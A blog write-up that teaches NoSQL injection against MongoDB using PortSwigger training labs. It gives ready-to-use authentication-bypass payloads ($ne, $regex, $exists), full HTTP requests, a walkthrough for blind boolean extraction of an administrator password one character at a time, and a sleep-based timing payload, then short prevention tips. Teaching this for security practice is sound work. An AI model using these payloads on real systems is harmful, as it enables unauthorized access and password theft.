Delving into the Depths of NoSQL Injection: A Research Odyssey

7h3h4ckv157
InfoSec Write-ups
Published in
8 min readOct 13, 2023

--

- 7h3h4ckv157

{{ !SQL-i }}

Hey Hackers, I am back again with my another write-up.
Today, we’re going on an adventure about a sneaky bug that can cause some serious trouble in the online world. It’s called No-SQL injection and it’s like a mischievous hacker trying to mess up a secret code. Let’s learn all about it in simple terms!

What Is No-SQL?

No-SQL, which stands for “Not Only SQL,” is a family of database management systems designed to address the limitations of traditional, SQL-based databases. Unlike the structured, table-based data storage of SQL databases, No-SQL databases are schema-less, offering a more flexible and dynamic approach to data storage — Read more.

No-SQL databases are like special boxes for storing data, but they work differently than regular ones. They use their own secret language to talk to the data inside. Suppose you have a magical box where you keep all your stuff. This box has some rules to protect your things, like a special lock that only you can open. But what if there’s a way for someone to break into your box and mess with your stuff? → That’s what No-SQL injection is all about. Now, some tricky people out there want to use No-SQL injection to mess up this secret language and cause problems.

NoSQL Injection

Unlike traditional SQL injection, which exploits structured query language, No-SQL injection presents an array of complexities owing to the heterogeneity of No-SQL databases.

No-SQL injection, much like its SQL counterpart, occurs when an attacker manipulates input data to interfere with the execution of database queries. However, No-SQL injection navigates a more labyrinthine landscape, primarily due to the absence of standardized query syntax. Attack vectors here rely on the subtleties of query languages specific to each database type. Typically, attackers seek to subvert the integrity of queries by injecting rogue values, often in the form of JSON payloads (Mostly).

The potential ramifications of NoSQL injection encompass:

- Authentication Bypass: Malevolent actors may circumvent access controls by tampering with queries, thus gaining unauthorized entry into the system.

- Data Tampering: Manipulation of query parameters may lead to unauthorized data extraction or modification, compromising data integrity.

- Denial of Service: By crafting malicious inputs, attackers can disrupt query execution, leading to a denial of service condition, severely impacting system availability.

- Code Execution: In certain cases, attackers leverage injection to execute arbitrary code on the server

Practical Phase: Here I’m using labs from — PortSwigger

Detecting NoSQL injection

One way is by using Syntax-Injection

Syntax injection: We can detect No-SQL injection vulnerabilities by attempting to break the query syntax. For Example, Parameter

  • ?category=<VALUE>

is vulnerable. The request and error response is given below.

Request:

GET /filter?category=' HTTP/2
Host: HOST.web-security-academy.net
Cookie: session=REDACTED
User-Agent: 7h3h4ckv157
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Sec-Gpc: 1
Te: trailers
Connection: close

Error: Internal Server Error

Command failed with error 139 (JSInterpreterFailure): 'SyntaxError: unterminated string literal : functionExpressionParser@src/mongo/scripting/mozjs/mongohelpers.js:46:25 ' on server 127.0.0.1:27017. The full response is {"ok": 0.0, "errmsg": "SyntaxError: unterminated string literal :\nfunctionExpressionParser@src/mongo/scripting/mozjs/mongohelpers.js:46:25\n", "code": 139, "codeName": "JSInterpreterFailure"}

It appears that MongoDB encountered a Syntax-Error when trying to execute the function. We can confirm this by submitting a valid query string in the input, for example by escaping the quote:'\''

Google yourself why it cause an error :)

Exploitation Phase

Authentication Bypass

No-SQL databases often use query operators. Authentication bypasses can occur when attackers exploit vulnerabilities in the authentication mechanism. Query operators provide ways to specify conditions that data must meet to be included in the query result.

We may be able to inject query operators to manipulate No-SQL queries.

$ne - Matches all values that are not equal to a specified value.
$regex - Selects documents where values match a specified regular expression.

Common Payloads:

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true


#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

Credit: Here

POST /login HTTP/2
Host: HOST.web-security-academy.net
Cookie: session=REDACTED
User-Agent: 7h3h4ckv157
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0a44002f038e62ef81f702590078004f.web-security-academy.net/login
Content-Type: application/json
Content-Length: 56
Origin: https://0a44002f038e62ef81f702590078004f.web-security-academy.net
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Sec-Gpc: 1
Te: trailers

{"username":{"$regex":"ad.*"}, "password": {"$ne": ""} }
Auth Bypass

Data Extraction

In No-SQL databases, where flexibility and extensibility are paramount, MongoDB stands as a prominent example. MongoDB offers operators and functions that can run JavaScript code during the execution of queries. One such operator is $where, and the mapReduce() function also allows for the execution of JavaScript functions within the database environment.

  • The $where Operator: The $where operator in MongoDB permits the evaluation of arbitrary JavaScript expressions as part of a query. This means that when a query includes the $where operator, the MongoDB server will execute the provided JavaScript code in the context of each document being examined. This capability, while powerful for certain use cases, can also be a source of vulnerability if not carefully controlled.
  • The mapReduce() Function: The mapReduce() function in MongoDB is primarily used for data aggregation tasks, such as summarizing data or creating complex reports. However, it also allows the execution of JavaScript functions. During the map-reduce process, JavaScript code specified by the user is applied to each document in a collection. This code can manipulate, filter, and transform data, making it a versatile tool but also a potential avenue for exploitation if used carelessly.

Function without adequate input validation and security controls, an attacker can craft malicious JavaScript code that is executed as part of the query.

Tip: When you find parameter passing value to server returns any info, you should stick there and try suitable payloads. Do the same using encoded payload. Maybe the result will differ

In this demo,

  • lookup?user=<user-name>

returns user info. we can try different possibilities.

Request-1

GET /user/lookup?user=wiener HTTP/2
Host: HOST.web-security-academy.net
Cookie: session=REDACTED
User-Agent: 7h3h4ckv157
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0a7000ae04d1f25180710d78008700e7.web-security-academy.net/my-account?id=wiener
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Sec-Gpc: 1
Te: trailers

Response-1

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 81

{
"username": "wiener",
"email": "wiener@normal-user.net",
"role": "user"
}

Request-2

GET /user/lookup?user=administrator HTTP/2
Host: HOST.web-security-academy.net
Cookie: session=REDACTED
User-Agent: 7h3h4ckv157
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0a7000ae04d1f25180710d78008700e7.web-security-academy.net/my-account?id=wiener
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Sec-Gpc: 1
Te: trailers

Response-2

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 96

{
"username": "administrator",
"email": "admin@normal-user.net",
"role": "administrator"
}

To test this functionality is vulnerable/Not, we can just try basic syntax injections. If the input isn’t properly sanitized, the error will thrown.

/user/lookup?user=administrator’

GET /user/lookup?user=administrator' HTTP/2
Host: HOST.web-security-academy.net
Cookie: session=REDACTED
User-Agent: 7h3h4ckv157
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0a7000ae04d1f25180710d78008700e7.web-security-academy.net/my-account?id=wiener
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Sec-Gpc: 1
Te: trailers
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 58

{
"message": "There was an error getting user details"
}

To confirm the bug, we can play with logical injections. True/False, the true statements returns the value, and based on that we can meaningfully exploit the bug. Here in this lab environment, we’d clues like: The password only uses lowercase letters (Don’t expect this on real world). We can calculate the password length via injecting & checking the logic.

# PayLOad Logic: 2 Conditions have to be checked. 

- 1st one is "this.passwod.length > A No."

- 2nd one is "1==2"


either one has to be true, and we'll know 1==2 is false,
So basically it only checks for the password length.


# Our Payloads:


administrator'+%26%26+this.password.length+>+0+||+'1'%3d%3d'2--

administrator'+%26%26+this.password.length+>+1+||+'1'%3d%3d'2--

administrator'+%26%26+this.password.length+>+2+||+'1'%3d%3d'2--

administrator'+%26%26+this.password.length+>+3+||+'1'%3d%3d'2--

administrator'+%26%26+this.password.length+>+4+||+'1'%3d%3d'2--

administrator'+%26%26+this.password.length+>+5+||+'1'%3d%3d'2--

.

.

.

etc.
0–7 it returns info (Because it’s True)
after (Because it’s false)

up-to 0–7 it returns the info and further not. which means the length of the password is 8 (0th index to 7th).

Here we’ve the hint, so it’s easy to extract correct password (8 digit lowercase) letters one by one.

administrator' && this.password[0]=='<Our Input>

The correct value on the index returns true.
We've to check index values up-to 0–7


eg: if administrator' && this.password[0]=='a returns the result,
then that means 0th index vaulue is a (you must check a-z)
Here 2nd index value is s
3rd index value is i

Like-wise, we can extract the password of admin.

last index

The combination of these 8 index values == admin password

You can automate or use Burp Intruder to speed up the process.

Operator injection

To test whether you can inject operators, you could try adding the operator as an additional parameter, then send the request where the condition evaluates to false, and another that evaluates to true.

$where - Matches documents that satisfy a JavaScript expression.

We can also use $regex operator to extract data character by character.

operator injection can be exploited to extract unknown fields.

Practice: Lab

Blind injection — Timing Based

Database errors are typically associated with issues such as incorrect queries, poor data validation, or server misconfiguration. In a well-secured web application, these errors should be handled gracefully, returning an error message or redirecting the user to a safe page. However, in certain cases, the error might be concealed or handled in a way that doesn’t visibly impact the application’s response. In this situation, you may still be able to detect and exploit the vulnerability by using JavaScript injection to trigger a conditional time delay.

{"$where": "sleep(1000)"} causes an intentional delay of 1000 ms on successful injection.

How to prevent No-SQL injection…?

  • Input Validation: Sanitize and validate user input, using an allow-list of accepted characters.
  • Apply the rule of least privilege
  • Apply an allow-list of accepted keys: To prevent operator injection
  • For More → Refer
Send me Hai

Feel free to connect with me. See you all next time!

--

--

Reformed Hacker | Hall of Fame: Google, Apple, NASA, 𝕏 (Twitter) & Many more | CVE ×4 | HTB - GURU